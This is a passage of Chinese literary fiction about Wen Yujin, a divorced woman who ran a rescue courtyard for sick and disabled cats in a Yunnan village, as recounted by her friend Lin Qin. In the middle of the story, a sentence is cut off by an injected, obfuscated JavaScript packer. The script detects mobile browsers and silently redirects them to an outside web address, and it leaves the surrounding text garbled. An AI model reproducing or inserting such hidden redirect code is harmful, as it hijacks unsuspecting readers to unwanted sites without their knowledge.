救助猫出了名,镇上的人都知道了,来了个慈悲的大姐,她出现时,身边总是带着几只猫。又过了两年,温郁金打算找个更僻静一些的新住处,向石栗村的老人会提出了申请,村口那座有棵歪脖子树的空院子能否租给她用。石栗村的人,也有不少人听说过她的故事。村子接纳了她,也接纳了猫。只一点,由于村中家养的猫狗算是村子的看门人,所以,温姐养了大多数猫最好养在家里,只留出一两只猫,加入村猫村狗的队伍。 “小白?”姜籽问。 “对”,林檎笑着答道,“它少了一条腿,当时温姐把它送去医院时,一只后腿几乎只剩下骨头,悬在半空中,像个......寻鸡爪子。它做完手术之后,恢复得很好。小白自己也争气,活得雄赳赳,气昂昂的,比很多人都要强。” 这些年,温姐在这座被她叫做“苦糖果”的小院里,和三、四十只猫一起生活。最多的时候,猫有五十二只。它们之中绝大部分都有疾病,或是身体有缺失,要么缺个耳朵,要么缺条腿。这个数字是时刻波动的,每隔一段时间,就会有几只猫因疾病、年老而死去,也有一些会在身体恢复之后,向往自由,跑走了,再也不回来。这没关系,毕竟每只猫都有自己的性格特点和喜好。 久留的,每一只都有名字,温姐会尽力把它们照顾好。但温姐不太会起名,于是她邀请熟知水晶的林檎,按照猫的样貌特点,给它们取一些水晶的名字。 金虎眼,是一只彩狸花,它是一只橘猫与一只狸花猫的孩子,毛色黄黑相间,有明显的条纹,头顶和尾巴两处尤其明显。它是一只嗅觉非常敏锐的猫,厨房里开始煮鸡胸肉、鸡肝、猪肝时,刚下锅,它就蹑手蹑脚地跟过来了。虎眼石也是这样的模样,它同样代表睿智。 一只白色的小猫,总是出没不定,来去匆匆。但这种行事风格不耽误她吃饭、上厕所。林檎给它取名叫白幽灵。这也是一种水晶,底色透明,内含白色不规则的棉絮状包裹物,像一颗微型的雪屋玻璃球,人永远无法预测每一片雪花的落处。 一只黑猫从一楼的客房走了出来。发现有人,先是停住了一只爪,在空中扒拉了一下,嗅了嗅,又继续往前走。走到歪脖子大树前,黑猫停住了,它立起身来,扒到树枝下垂下来的一个木板,起身跳跃,爬上了这块板子。原来,树杈上还挂着一些小吊篮和单板秋千,供跳跃能力好的猫咪们玩耍。这只黑猫似乎习得了温姐的爬树秘诀,懂得用前面的爪子探路,用后面的双腿用力蹬地,纵身一跃时一步到位,灵巧又优雅。 “这是黑曜石。”林檎说,“毛发亮亮的,在日光下会带一点点银色,温姐老说,它的毛发像老一辈人用过的鞋油。黑曜石听力不太好,但动作很灵敏。别的猫只能趴在低矮处的猫窝,或是最多跳到竹篮秋千里。它平衡能力非常棒,可以趴在单板秋千上,稳稳当当的睡很久。” 正说着,隔壁吊篮里也钻进了一只金黄色的橘猫,“他叫金珀,偶尔便秘,需要隔三差五地给它揉肚子。揉一揉,就能拉出羊屎蛋般的便便。这对它来说已经很棒了。”林檎说。 金发晶也出来了,这是一只毛发乍看是白色,实则白中带一丝丝橘毛的小花猫。长毛,有缅因猫的基因,走路时浑身的毛发都在轻微地晃动,像一只迷你版本的小金狮。即便这么好看,也还是被丢弃了。“丢的时候,它生病了,不过,很快就治好了。”林檎说。 金发晶找了个喜欢的地方,趴下,一会儿又起身,开始在日光下舔毛、洗脸。它的位置靠近歪脖子树的粗壮又倾斜的根。树根周边,喜阴的植物十分繁茂。比如铁线蕨,这种植物在室内很娇弱,在这里,依仗着滇朴,生得像热带雨林里的植物那样,有一种盛大的气势,用“猖狂”这个词来表扬它也毫不过分。小指甲盖大小的叶子,层层叠在一起,在茂盛之势中呈现出从浅绿、碧绿到深绿的多层渐变。姜籽发现了这一簇多彩的绿,从包中掏出了她的速写本,打算画一画她看到的色彩。 二更却盯着另一丛凤尾蕨,看得入了神。她朦胧地感受到,凤尾蕨之下,有一抹抹很细微的绿色,动了一下。她甚至隔着凤尾蕨,感受到那里有一只小猫咪。对,就是一只很小的猫咪,像一团瘦弱的可怜的小火焰。它小小的,头顶上有一抹悠悠的绿。它似乎......不是一只活着的小猫。 犹豫了片刻,她还是忍不住问林檎,“院子里有没有一只,头顶有绿毛的小猫咪?很小,一只哈密瓜那么大?” 绿毛?姜籽疑惑地转过头看二更,怎么会有绿色的小猫咪呢? 林檎怔愣了一下,没有着急回复。片刻后,她叹了口气,示意二人稍等。她起身走向一楼的客房,从书架上翻出一个小本子。那是温姐的画册。画笔很稚拙,胜在简明扼要,每一只猫咪的特点都得到了清晰的表达。林檎从后往前翻,倒数几页,“找到了”,她说着,把这一页小画递给了二更。 “这是一只小猫,叫绿幽灵,头顶上的一抹绿是一点点绿色的漆,尾巴上还有一点点。当时,它来的时候就是这样,主人给它做了宠物美容。它这么小,按理说不应该给它做什么宠物美容的。它因病被弃养时,还残余着这些痕迹。它喜欢踩奶,但一定喊人看着她踩奶才舒服。如果温姐偶尔扭过头不看她,她就会一直叫,小奶音啊啊地叫,或者直接爬到人面前来,用头蹭着人,逼着人看它。多好的一只小猫啊,绿幽灵,那么聪明。可它体质差,来的时候就有先天性的肾衰,治疗了有段日子,还是走了。”林檎忧伤地回忆道,“温姐心疼很久。它比温姐,早走了几个月。” 看来,小猫没有走,就在凤尾蕨下,看得到主人常坐着喝茶的地方,一直停留。 林檎突然一改娓娓道来的语气,带了一点点焦急,问二更,“你看得到,对吗?” 二更不知该如何给出一个准确的回复,她没有回答。 林檎等了几秒钟,不再追问,只是请求道,“那,能不能跟它说,快去找主人。现在去,或许还可以追得上。温姐肯定愿意等它。” 此话一出,二更感觉小猫动了动。那一抹绿色,似乎听懂了,钻进凤尾蕨的深处。二更静静等了一分钟,它确实没再出现过,凤尾蕨也再未动过。 “她去了”,二更说。 姜籽和林檎听后默然。她们只是静静地看着这棵树,彷佛在用沉默送别一只可爱的小生灵。姜籽看着那棵滇朴,亦感触良多。她第一次望着一棵树,想象一个人,她试着从这棵树的葱郁中,去想象一张女性温厚且慈悲的神色。 “温姐的画册,画得很全吗?”姜籽问,她翻开这份简笔画册,发现很多眼前的猫咪尚未被画入本子中。“如果,还有小猫没有画像,我可以帮温姐补全吗?” 林檎欣喜,一口答应。 “但要,要辛苦您,告诉我更多一些温姐的事。我得知道,她是一个什么样的人,”姜籽说,“因为她的猫,多少总有一些她的样子。” 03 变成猫后,她懂了许多 林檎又一次陷入回忆。这次,线索不是猫,而是她自己。 林檎第一次见到温郁金,是在树下,石梓镇上的一棵大树下。温郁金带着一副黑墨镜,坐在树根下。树根涂了白色的石灰,她的衣服也是白色的。她和树根一样显眼。见林檎走来,很是面善,温郁金便请问她,可不可以帮忙,给她和这棵树拍个照。准确来说,是和树根拍个照。 林檎不太懂,为什么有人会喜欢一棵大树的树根。拍完照后,她问起温郁金与树根合照的缘由。 “植物的好坏、健康与否,都可以从根上看出来。很多问题都是从根上开始的。如果根系发达又健康,这棵树自然也会长得生机勃勃。其实人也一样。我呢,我想蹭一蹭这棵树健壮的根系。”温郁金笑着解答。 这时,一个小男孩跑来,到大树旁边的一棵小树下就刹住了脚步。小男孩看着这棵树,煞有介事地评论说,“这是一个很好的树杈。” 小男孩的眼光可以。林檎在心里暗道。虽说这只是一棵小小的树,但生得弧度可人。枝条粗壮,会分叉,而且植株比较矮,对于一个小孩子来说,可爬,可躺,可倚仗。林檎心想,如果小男孩是一方恶霸,说不定会把它强拔回家了。她帮了小男孩一把,拖着他的屁股,把他送上树,看着他在树上玩,玩够了,再抱下来。小男孩玩得过瘾,一溜烟跑了。 温姐看着她们玩,一脸慈母笑。 其实,这棵小树是石栗村祖母树的儿子,被移植到镇上,是带着任务的。如果石栗村的小孩子持续发烧,夜间哭闹,去医院看又看不出来什么,村里人就默认,是小孩子身子弱,不慎招惹了什么,丢了魂。父母会拿一件小孩儿的衣服,先在村子外面的这棵子树这里绕三圈,再到村子里的祖母树绕三圈。祖母树就会保佑孩子的魂找到回家的路。如果是村里的老人走了,送葬时,子女会先在祖母树绕三圈,再到移植到村子风水山上的另一棵子树上绕三圈,祖母树也会带着老人的灵魂,去风水林里找祖先。 说到祖先,温郁金早年嫁的丈夫,和石梓镇多少有些渊源。石梓镇隔壁,有一座白花镇。他前夫的家族,曾是镇上第一批做旅游生意发财的人家。不仅如此,他家祖上就靠贩土布、红糖发家,一度做过小商号。几十年前,赶上风口,这家人又做了旅游生意,再后来,又赶着改革开放的潮流,南下去了深圳。 温郁金是南方人。她和前夫在深圳相识。婚后,老公出轨,她不温不火地包容了十多年,在年近五十时终于想通,离了婚。她想换个地方生活,选来选去,选了前夫的老家,云南。她与前夫之间的感情如何拉扯,都并未影响云南在她内心那种纯净、自由的印象。 她来石梓镇的这个冬天,林檎也刚回云南。林檎租下村口的院子刚改造好也没多久。她想做一个水晶阁,无奈手头没多少钱,那段时间,正在发愁后续的资金从哪里挪腾。 温郁金在这样的时刻走入了林檎的生活。 小男孩跑走之后,林檎和温郁金坐在树根下,闲聊。她得以再一次细细地看看这位女士。她有年纪了,同时,有自然老去的优雅风度,另外,又有一种和年龄有一点冲突感的天真的神采。这三种特质,在她身上混合得很奇特。 林檎也是离婚后才回云南的。此前,她跟随前家族做了几年的水晶生意,她喜欢看晶莹的水晶珠,也渐渐,喜欢看人的眼睛。尤其是像水晶那般通透的人的眼睛。有些人的眼睛,如白水晶,简单通透,能折射万物。有些人的眼睛,像粉水晶,温润柔和,总是带着几分情意。温姐的眼睛介于两者之间,又带了些虎眼石的神采。她看一眼,就迷住了。 温郁金朝她打听村里的旧宅,那时,她想为猫咪找一个更僻静的家。她也就此了解到林檎的难处,决议出了一部分资金,解决林檎燃眉之急,但有要求,林檎要随缘,看看能不能帮她找个合适的院子。温姐搬来石栗村住,林檎签了线,但这不是最关键--老人会找了师公问过祖母树。祖母树说可以,村里人才觉得可以。 两个女人成了朋友,碰巧,还都是因为老公出轨而选择离婚的女人。除了猫,除了树,她们还有许多人生问题可以聊。林檎为了爱离开家乡,又因为恨,离了婚,回到了家乡。那时她很懊恼,对前夫的背叛、对自己的人生选择都充满了怨恨,迟迟走不出来。而温姐,结婚很早,因心脏不太好,一直没有生育。她从一开始就是为了家族生意和老公结婚的,用她的话说,本就没太多的爱,什么时候离婚,只取决于,“什么时候决定要彻彻底底地为自己活一次”。 所以,温姐和前夫分开得挺体面,不吵不闹,只是,时候到了。在决定解除婚姻关系之前,前夫提出,要不要一起去照相馆拍个正式一点的纪念照?结婚多年,两人感情不深,但做亲人,足够了。男人有种虚伪的深情,展现出迟到的不舍。温郁金觉得,两人在一起这二十多年,总是会拍照,每隔几年,到了关键节日,还会拍家庭写真。照片很美好,然而照片越美好,越衬托出人在真实的日子里,如何虚伪,如何敷衍。她索性提议,不合照了,不如去云南这样的好地方,好聚好散地做点好事。 第一件事,两人最后一次以共同名义,捐助了一项面向女童教育的公益项目。这样,双方记忆里的最后片段,是一起做了件有益于社会的事。这样,彼此都还能记得双方人都不错。温郁金认为,将私人的、狭隘的、局促的记忆,投掷到更广阔的社会里,才能把对小家庭情感的失望、私人感情的郁结,慢慢解开,顺利地回到朋友关系。她做到了。 第二件事,两人去了白花镇的露天大集。大集设在镇上边远处的大土坡上,周边夹杂些小树林。环境很随意,市集丰富、生猛、鲜活,当然也很杂乱。摊位不会像市区里的生鲜超市一样带着标号整齐排开,这里只划分大类区域,摊贩们按照分区,随性练摊,只要基本上留出一条弯弯曲曲能过人的小径就好。 生肉摊位现杀现卖,牛尾、羊头和一整扇或是半扇的鲜肉,带着血气挂在最招摇处。地上滩滩鲜红的牛羊血。旁边,搭着几个棚子,卖最鲜嫩无比的牛羊肉米线。这是人最拥挤的地方了。要说最高的地方,那就是甘蔗摊位了,甘蔗比羊肉挂得更高。卖主把地里最高的那一批甘蔗拉了过来,摆在山坡的最高处,力争站稳“节节高”的好兆头。而土坡的低洼处并不逊色,真假一眼能辨的“古董”,各种云南山歌的碟片和卡带,也能吸引一批忠实的客人。 这样的市集,从早晨九点多进去,可以一直逛到下午的一两点钟,喜欢鲜活烟火气的人,未必舍得在落日之前出来。 这对即将分手的夫妻,从大集里弯弯绕绕地走出来,温郁金提了新鲜的牛肉,前夫提了一大袋现砍的甘蔗,在日落之前,分头回各自的住处,各自都有鲜美的一顿饭。两人约好,以后也要各自好好生活,没大事,就不再打扰对方的生活。 其实温姐那天没回家做饭,而是开车到滇池边上,奔赴一场晚霞。多幸运啊,那天晚霞很美。看着落日,温郁金对自己说了实话。她对前夫,本来就是不爱的,两个人当过日子的搭子,一起生活十几年。但若真的算起来,两人很早就算是分居,互不干涉了。丈夫在外面莺莺燕燕,她内心无所谓。其实,再这样过几年,也未尝不可。但最终,她还是以“对方还是需要一个孩子”为理由,体面地分开了。 这是,给对方家庭有所交代的体面说法。但她自己知道真相。真相是:她想逃离和人一起生活的日子。 她人到中年,忽然躁动的心,是由一只枯叶蝶扇动的。 不记得具体哪天,她去一家咖啡厅消磨日光,点了一盘榴莲披萨。咖啡馆在一处公园山顶的密林中,植草丰茂,有蝴蝶也是情理之中的事。只是没想到,来找她的是一只枯叶蝶,更没想到,枯叶蝶会喜欢榴莲的味道。它在那盘榴莲披萨上停留许久,还在翻飞时,温郁金以为它只是一只寻常的褐色大蝴蝶,待它停下来折起双翅,静静吸食它找到的“花蜜”时,温郁金惊讶地发现,这是一只枯叶蝶。它把自己折叠成一片无比逼真的枯叶,叶子两端有柔和的尖角,叶面上的颜色是如脚下枯叶一般的土褐色,甚至带着一些真叶上常见的深黑色斑点。她忍不住,像一只猫扑蝶一般,轻轻地想扑一下那只蝶,好在及时止住了。她只是静静地看,第一次见到如此逼真的枯叶蝶,更是第一次从一片叶子上,感受到生命和自由,和想要追一下那份自由的冲动。 自由是个好东西,也是一支毒药。它让人变得冲动,开始对这个世界有所求。人一旦感受到自由,想要自由,过去的日子,无论习以为常多久,都不那么好继续过下去了。 不知从何时开始,她和前夫鲜有的见面,开始让她感受到窒息。她和公婆每周一次的聚餐,也让她觉得手脚束缚。彷佛是一只蝴蝶在茧里面,人到中年,她开始渴望自由。她脑子里开始有一些不好的幻想,比如,希望眼前这些人“都不存在”,希望他们以某种意外的方式“消失”。是时候,必须要提出分开了。 离婚后,温郁金在大街上走了很久,人来人往里,呼吸着“自由”,一种对她来说,新鲜的气味。但很快,她陷入迷茫。她有钱,财产分割时没有什么纠纷,前夫给了她很大的倾斜,未来的人生,做什么都可以。但具体要做什么,她不知道。 大约是时候到了,许多年前没听懂的老人的预言,在温郁金的梦里有了续集。离婚后,恰逢新闻涌出“东北热”,很多人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294811|198549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在讨论东北搓澡,说搓一次就能迎来新生。温郁金有些点害怕,但更多是好奇,于是北上东北,体验了一把东北式搓澡。浑身上下被搓掉了几层泥,之后,她躺在大浴堂里,累得睡着了。 她做了一个梦。 来人告诉她,“时候大约是到了,还也还未到。等到找到一棵大树的时候,她可以变回一只猫。” 温郁金醒来,迷迷糊糊,记住了梦的一半。她一边带着爱犬葫芦茶旅游,一边开始找树。 温郁金开着房车,带着葫芦茶,在全国山清水秀的各地玩了一圈,没找到什么树。爱犬葫芦茶在途中,因年老,自然衰亡。温郁金一度消沉,就连找树这个奇异的念头,也即将被现实打散。 她重回云南白花镇修养。那天,她在镇子上走,看见一个银发老太太带着两只大狗出去遛狗。温郁金见她坐着轮椅,前面两只狗拉着轮椅走。一只,是白色的萨摩耶,一只,是浅棕色的阿拉斯加。老人的轮椅是电动轮椅,两只狗并未费什么力气。狗子在前面慢慢跑,老人在后面把轮椅调整成合适的速度。温郁金跟着走,走到了石栗村。 她看到了石栗村的祖母树,又看到了它旁边院子里那棵歪脖子的滇朴。梦中的树,是哪一棵?她并不确定。看到这两棵树的第二天,温郁金又看到了许多猫。她变回猫的路,开始了。先是收留病猫,再过一段时间,温郁金带着猫咪们搬入了石栗村,靠近了那两棵树。 石栗村的人相信轮回。林檎小时候,村里就经常流传着这样的传说,说某个人死了,没几年,又继续转世到村子里的另一户人家。他记得上一世哪一家人对他好,也说得出来过去村子里发生过的事。但这种转世,通常不会很快。 村子里人也相信人会变成动物,比如猫、狗、松鼠、鱼。佛家常讲,猫狗是因上辈子做错了事,这辈子才投到了非人道。但苗寨不讲这些。做猫和做人是一样寻常的事,做人多疾苦,未必比做猫幸福多少。最近,村子里最新的传说是一个男人觉得它从镇子集市上买回来的小牛是他早夭的女儿。男人不舍得让牛干活,只带着下地玩儿。你看,如此说来,做牛也不错。 温郁金入乡随俗,决心变成猫。不必等到下一世了,就从这辈子开始,中途开始做猫。养猫,就是学做猫最好的方式。哪怕是病了猫,被抛弃的猫,她也不介意。她开始学着像猫一样生活,贪睡,就多睡一些,睡的姿态,也不再像个人,而是像反犬旁一样,手脚摆得更随意。偶尔,还会用脚蹬蹬墙,用脚指头抓抓栏杆。很难说百分之百变成了一只猫,或许,变成一半就足够了。 自从变成一只猫之后,她就少了很多负担。做人的时候,她总是想要仁至义尽,不想落人话柄。做猫的时候,她要的只是简单、安心,不被打扰,吃饱喝好睡足,人类世界的七七八八,没那么重要。轻松一点,怎么活不是活呢。 这并不容易。做猫之后,对院子里的猫都更尽心了。这很累。 不是每只小猫都很适应合群的生活。有些小猫保留了野外生活时护食的本能,也有一些还未习惯安全的院居生活,仍时常保持警惕。好在,大多数猫咪,都能在一两个月内慢慢适应。更多的费心,在于猫咪的疾病护理与临终送别。温郁金送走的猫,比院子里的猫还多。一些猫能活到近十岁,甚至十几岁,但更多的猫会因各种沉积的病,小小年纪就离开。不少猫咪带有慢性疾病,比如长期野外生活导致的肠胃病、口腔病、呼吸道疾病。最典型的就是口炎,断断续续,很难彻底恢复。一些猫可以接受全口拔牙手术,但另一些老猫或者心脏和不好的猫咪,就只能接受保守治疗,日常观察与照料都需要耐心。 温郁金性子急,遇到调皮的小猫,并不是每次都能忍住不拍打一下。实在忍不住,她就拿根小竹竿,拍拍它们的影子,算是出气了。毕竟,人不能老是憋着一口气,哪怕是对小动物的气。她最开心的事,是在院子里抱着猫跳舞。反正猫很多,这只不给抱,还可以抱那只。这只抱完了,刚松手,马上又有下一只扒拉着她的腿,想要上位。太阳底下抱猫半个小时,左晃晃右晃晃,人和猫都得到了慰藉。 温姐每天都会打扫院子,早饭后一次,午饭后一次,晚饭后一次,权当温和的运动。林檎一直说,应该买一个扫地机器人。林檎买了,她不怎么用。温姐认为,饭后就是要动一动,不能老坐着,而且,猫太多了,扫地机器人的收纳盒太小了。 “我想这就是借口。她就是自己想扫。我一直不能理解。”林檎说,“她走了,换我每天照看这个院子,每天都要打扫,扫出来一堆猫毛。我会有一种她还在的错觉。我忽然懂了,或许,温姐每天扫地,也是想确认,猫咪们都还在。甚至走了的猫咪,毛也还在。它们陪伴在她身边。她才安心。 她做猫之后,好像懂得了许多呢。”林檎感慨道。 温郁金离开前,替猫咪们规划好的后路,林檎只需要短暂地承受一段过渡期。 两个月内后,猫咪们会搬去五、六公里外,另一个镇子上的秘密猫屋里。猫屋不对外开放,但临近石梓镇上的宠物医院。这是温郁金投资的一家医院,邀请市区里一家宠物医院来镇上开的连锁。新的猫屋距离大学城很近,兽医院的学生们将会轮流来这里照顾猫咪。新医院里,聘用了对猫咪的心脏、肾衰等病症很有研究的医生来坐诊,保障猫咪的健康。除了医院,温郁金还设置了一家动物美容院,请了几个年轻的美容师,都是女孩子。美容院与宠物医院会赚一部分钱,贴补猫屋。此外,大学城的学生社团中,也有稳定有序的义工组织,能帮助实现猫屋的正常运转。 无论是宠物医院,还是宠物美容院,温姐选人,都有自己的标准,“能让猫狗们有被爱过才会有的眼神”。比如,美容院的一个小姑娘,成天戴着一个大耳机,从不摘下,几乎和人不说话。但她对动物很好。洗狗的时候,她带着小狗跳舞。这个场面被狗主人拍成短视频,上传到网络走红。很多人跑很远过来,让狗狗跟着她洗澡。洗完澡,小狗们之后好几天都会沐浴在安定的氛围,和小玩偶一样,特别乖,并露出被爱着才会有的星星眼。有些主人痴迷这种表情,隔三差五把小狗往这里送,就快把狗洗秃噜皮了。 由于院子里所有的猫咪都已绝育,考虑到猫咪的寿命、温姐留下的充足资金,以上这些,保全它们体面地度过余生,有个善终,已经够了。 “所以,温姐离开时,没有遗憾。”林檎总结道。 在林檎讲述温郁金的往事时,姜籽听得很认真。她一边听,一边在速写本上勾勒着一些轮廓。二更猜想,温郁金大概让她想到了那位大学里养了许多猫咪的老师。若是两位慈悲的女士,能在姜籽的笔下相逢,一定会有不少共同语言。 日光渐渐柔和,到要回城的时间了。姜籽与林檎约定,改日再来,补全温姐的画册。 林檎送姜籽和二更出村,路过祖母树时,还是邀两人在这里坐一会儿,“来都来了,对吧,它保佑过温姐,保佑着猫咪,应该也愿意保佑着你们”。 祖母树下,落日柔光里,二更觉得自己很像一只被晒得浑身暖暖的小动物,她也想起许多偶遇过的可爱动物们。 二更去西藏一个镇子里做采访时,整个镇的路上,头上挂满彩球的牛、一身腱子肉的狗,都大大方方地走在街上,无人驱赶,也没有人会害怕。藏族人相信万物有灵,也很善待动物。野生的狗出了意外,死在路边,人们会为他收尸,找个好地方埋了,并为它超度。此后二更走在路上,若是见到横死的小动物,哪怕是过马路时被压死的小老鼠,她都会尽量给它们安葬,或是至少找一些树叶给它盖住身子,挪到一个相对安静、不被碾压的地方。 在昆明,她也见过的很多活得舒服的小动物。在盘龙江边散步时,她曾见过江水里一只游泳的金毛。它喜欢和主人玩投掷水瓶的游戏。主人把饮料瓶投入水中,它像一只骏马跳入水中,叼回瓶子,递到主人手中,用头供着他,继续仍。来来回回,能玩很久。在水光与日光的交融中,金毛浑身如镀了金身一样,闪着神圣的光。她遇到过带着领带的边牧、穿着蝴蝶裙子的萨摩耶,遇到过嘴里叼着和自己身形差不大多的骨头的小鹿犬,昂首挺胸地散步,也遇到过路人捡到不只哪只小狗的鞋,贴心地把它挂在树枝上,等它和主人来捡。 这个世界上,有蔑视和伤害动物的人,也有爱惜动物的人。二更相信,前一种人,也擅长伤害别人的技艺,他们绝对无法忍受独处的生活,必得闹得世界不得安宁,这一生,积攒不下什么福分。后一种人,恰恰相反,不仅能与人为善,也能独善其身。天地为伴,万物有灵,何言寂寞?这样的人,下辈子若想做飞鸟,就让她做飞鸟。若想做流云,便许她做流云吧! 想着想着,太阳就落了一半。 林檎从兜里掏出了两个手串。做水晶饰品设计之后,林檎做过项链、耳饰、发饰、戒指、手镯,最终,还是喜欢做手串,也喜欢送人手串。手串几乎没有什么束缚感,而且,它戴给自己看,时时刻刻能取悦自己。这两份礼物,一个是沉香木做的手串,原本是温姐的。几年前,为了鼓励林檎走出婚姻创伤,温郁金把她给了林檎。沉香树生长在东南亚热带雨林中,本身并无香气,因电闪雷劈、飓风吹折、虫兽噬咬、斧砍锯伐等原因“受伤”,才会分泌树脂修复伤口;创口又被真菌感染,形成“病灶”,才会结香。林檎看了一眼二更,又望望姜籽。二更年纪更大些,人生的挑战也大概更大一些,于是,她将沉香无事牌递给了二更。另一串是绿发晶搭配绿碧玺、沉香木的手串,她递给了姜籽。怕两人不收,林檎手一挥,“石头就石头,木头就是木头,今年炒得高一些,明年凉了,价钱就低一些,不必在意。” 二更还有些犹豫,“这是温姐留下的纪念品,不要留着吗?” 林檎洒脱地答,“她不是,变成猫了吗?猫戴不了。大街上,每一个猫咪,都可能是她。如果看着很像她,我就会打个招呼。如果那猫见了我泪汪汪的,那一定就是她了。我如果想她,就去找猫,不会找手串的。你拿去吧!” 一个很好的人离开了这个世界,留下的一个豁口。这个豁口制造出美妙的幻想,让留下的人,不会孤单。 说罢,她又挥挥手,小白不知从何处、从何时钻了出来,早已蹲在祖母树下。“小白送你们出去,我想多看看落日,直到下山。”林檎摆摆手,送别道,“你们,平安到家!” 9. 第六课:黄缅桂 供奉我自己 接下来两周,姜籽的主线任务是到苦糖果画猫。 为了更好地补全温姐的猫咪图册,二更找来一些参考书。她和林檎约好,这两周,温姐的院子暂时许给姜籽用作画室,每日三、四个小时。她可以一边观察猫咪,一边给猫咪画画。 其中一本绘本叫做《一位温柔善良有钱的太太和她的一百只狗》,讲述了一位善良好心的太太每天如何和100只形色、性格各异的小狗们相处。一百多只狗都有自己的姓名,密密麻麻地爬满了绘本的画面。另外,二更还抱了一堆关于猫咪行为、性格解读的书,什么《如何说猫的坏话而不被发现》《如何用猫语呼唤我的猫》《为何我家猫只会啊,不会喵》《如何和猫咪互咬而不受伤》,本来打算帮姜籽找找与猫咪相处的感受,结果自己读得津津有味。 姜籽从没有这么密集地画过猫,为了得到喵神的庇佑,她经常在院子里晃悠。看见哪里多了一戳猫毛,就用食指和中指夹起来,仔细看看颜色与发质,再放到自己的头发上。不知情的人看,会误以为她在练习某种不知名的功法。姜籽的头发很蓬松,自来卷,发丝之间有充足的空隙,因此一下子就能把猫毛卡住。如此带着猫毛,像带着一只发卡。姜籽管这叫“开光”。一天下来,姜籽头上别了得有二斤猫毛发卡。就这样过了一周,她已经能够认出来某一戳猫毛是哪一只的馈赠了。 院子里活跃的猫咪画完了。林檎又翻出来一些收集了猫毛的毛发钥匙挂件。这是过去因病离开的小猫们留下的纪念品。这次换二更发力。二更把它们依次握进手掌心中,眼前约莫能出现小猫生前玩耍的图像。她描述,姜籽画。她闭着眼感受时,总是生怕错过任何一种细节,连一只黑猫肚子上的一小搓极细的白毛也不想错过,也会尽力把许多只胸前有白领巾的猫咪描述出各自的差异。这样的猫咪,也画了二十多只。姜籽第一次这样集中地画猫,过往,猫咪通常是某一枝花的衬景,总是乖乖地蹲在那里,像一个玩偶。如今,每一只猫都是主角,都有鲜明的特点,有的懒趴趴,有的带着股不好惹的坏脾气。林檎望着它们,默地湿了眼眶。 这天,二更比姜籽来得晚,特意去了一趟老延的院子,带来了老延送给林檎的一包寿眉。林檎端了小茶桌过来。茶泡出了一股介于枣香与巧克力香的茶香,二更很喜欢。她选了一个底下有一只游鱼的茶盏,一边品茶,一边歪着头看正在修订画稿的姜籽。为了被灵感青睐,姜籽又戴上了几只猫毛发卡,看上去像看一只毛长被风揉乱了的小羊。 林檎噗嗤一笑,茶杯放下,打趣说,“怪不得,老延能找到你们” 这如何解释? “有一份童真的人,总是更容易相遇的。你们是,老延也是,都是可爱的人啊”,林檎望向姜籽变的小羊,彷佛看见了高中时候的老延。“现在,我还珍藏着老延送我的手写版本的《如何学打乒乓球》。她是个很聪明的人。我记得,每次上数学课的时候,她都趴着听课。数学老师因着她那点聪明劲,默许了。全班只有她可以。那可是高中数学呀,对我来说是睁大眼睛都未必能完全听懂的天书,她却能趴着一边浅睡一边听,作业还都能做对。有一天下课后,老师两三分钟了,她还在趴着。忽然,一下子坐起来,她像突然醒了似的,问我,‘你刚才看没看我?!’ 我说,‘我看你干嘛!’。她深叹了一口气,像一个中年男人叹到肾里去那样,带了很深的忧伤。她跟我解释说,‘刚才,是我这辈子找到的最舒服的趴着的姿势,我想知道是什么样的,但我现在想不起来了,身体也不记得那个角度了’。”林檎回忆起这一段,仍忍不住又笑起来。“我觉得,她那时候,也很像一只小动物,活得很任性。大概是个很嗜睡的动物吧?需要冬眠的熊之类的?”。 “人会反复喜欢上同一个类型的人吧”,二更说。 “是吗?”林檎又一次陷入遐思。她早该知道的,她那么依赖温姐,就有这样的原因。温郁金总是让她想到另一个人,她的外婆,黄缅桂。若说真的有什么一眼就能认出的相像,也并没有。但如果,人有灵魂,如果人的灵魂是包裹在皮囊下的一颗闪着的水晶球,林檎觉得,她们像,简单,透明,温和,能折射出耀眼的六芒星。 在寿眉茶香中,林檎挽着姥姥,从一片山林里走出。 01 有毛毛花的采药人 “我的外婆,也就是我们更习惯叫的‘婆婆’,她叫黄缅桂。 和温姐一样,我婆婆性情很温和,活得也通透,我婆婆几乎大半生都是一个人生活。人和人之间的感觉是很特别的,我一直记得,我看到温姐第一眼的样子,在巨大的白色树根下拍照的画面,和我记忆中婆婆的感觉,有种无法用外表判定的惊人的一致。 我不知道该如何解释这种感受。她们朴素,带光,光温暖地洒在你身上。她们在时,并不会炫耀什么,但她们离开了,你才能深刻地感受到她带走的那一束光,是那样好,别处再也找不回来了。就像昨天非常完美的暖阳,你当然可以迎接明天的、今天的、未来的太阳,但它永远只能回味,并且永远地成为今后每一日太阳的参照物。 我的婆婆,是个采药人。 婆婆住的村子,比石栗村更远一些。它在一座山脚下,山叫久春山。山腰处有一个小瀑布,瀑布底下传说原有三块石头,很像人形,而且很像一家三口。最早的苗人先祖就选在这里落脚,把三块石头当神石供奉。这里有水,就有鱼,能打鱼,能灌溉,人能种些简单的粮食,就能活下来。后来,山腰处发生过几次严重的山体滑坡。人们就从山腰逐渐往山脚下迁。我小时候,就随婆婆住在山脚下的新村里了。 我外婆小的时候生过一场病,几乎活不下来。一个老苗医救了她。长大后,为了报恩,她跟着老苗医学医,一生未嫁。所以,她并不是我的亲婆婆,而是我亲婆婆的二姐。不过,我爹我妈走得早,啊奶和亲的婆婆都要带孙子,顾不上我。所以我其实算是缅桂婆婆养我长大的。直到要上小学,我才被又带到石栗村,跟着姑姑一起生活。 